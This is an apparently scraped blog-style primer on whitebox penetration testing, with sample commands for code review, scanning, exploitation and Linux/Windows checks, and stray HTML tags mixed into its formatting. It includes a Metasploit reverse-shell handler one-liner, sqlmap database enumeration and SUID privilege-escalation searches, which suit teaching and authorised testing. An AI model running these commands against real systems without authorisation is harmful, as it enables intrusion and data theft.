Intro to Whitebox Pentesting

Whitebox pentesting, also known as clear-box testing, involves assessing a system’s security with full knowledge of its internal workings, including source code, architecture, and infrastructure. Unlike black-box testing, where testers have no prior knowledge, whitebox testing allows for a thorough examination of potential vulnerabilities.

You Should Know:

Key Steps in Whitebox Pentesting

1. Code Review:

• Analyze source code for vulnerabilities like SQLi, XSS, or buffer overflows.
• Tools:

  </li>
  </ul>
  
  <h1>Semgrep for static analysis</h1>
  
  semgrep --config=p/python
  
  <h1>Bandit for Python security scanning</h1>
  
  bandit -r /path/to/code 
  

  2. Architecture Analysis:

  • Review system design for flaws (e.g., insecure API endpoints).
  • Use:

    </li>
    </ul>
    
    <h1>nmap for service discovery</h1>
    
    nmap -sV -O target_ip
    
    <h1>Check misconfigurations with Lynis</h1>
    
    lynis audit system 
    

    3. Automated Scanning:

    • Run SAST (Static Application Security Testing) tools.
    • Example:

      </li>
      </ul>
      
      <h1>Run SonarQube scanner</h1>
      
      sonar-scanner -Dsonar.projectKey=my_project 
      

      4. Exploitation & Validation:

      • Test identified flaws in a controlled environment.
      • Commands:

        </li>
        </ul>
        
        <h1>Metasploit for exploitation</h1>
        
        msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST your_ip; run"
        
        <h1>SQLmap for SQLi testing</h1>
        
        sqlmap -u "http://target.com/page?id=1" --dbs 
        

        Practice-Verified Commands

        • Linux Security Checks:

          </li>
          </ul>
          
          <h1>Check SUID binaries (potential privesc)</h1>
          
          find / -perm -4000 2>/dev/null
          
          <h1>Audit cron jobs</h1>
          
          crontab -l 
          ls -la /etc/cron.* 
          

          – Windows Hardening:

          
          <h1>Check open ports</h1>
          
          netstat -ano
          
          <h1>Verify service permissions</h1>
          
          Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName 
          

          What Undercode Say

          Whitebox pentesting provides deep visibility into systems, making it ideal for proactive security. Combining manual code reviews with automated tools (e.g., Semgrep, SQLmap) ensures comprehensive coverage. Always validate findings in a test environment before production deployment.

          Expected Output:

          • A detailed report of vulnerabilities (e.g., insecure functions, misconfigurations).
          • Proof-of-concept exploits for critical flaws.
          • Remediation steps (e.g., code patches, firewall rules).

          Reference:

          • Hack The Box Academy: Intro to Whitebox Pentesting

          References:

          Reported By: Activity 7311788547651342336 – Hackers Feeds
          Extra Hub: Undercode MoN
          Basic Verification: Pass ✅

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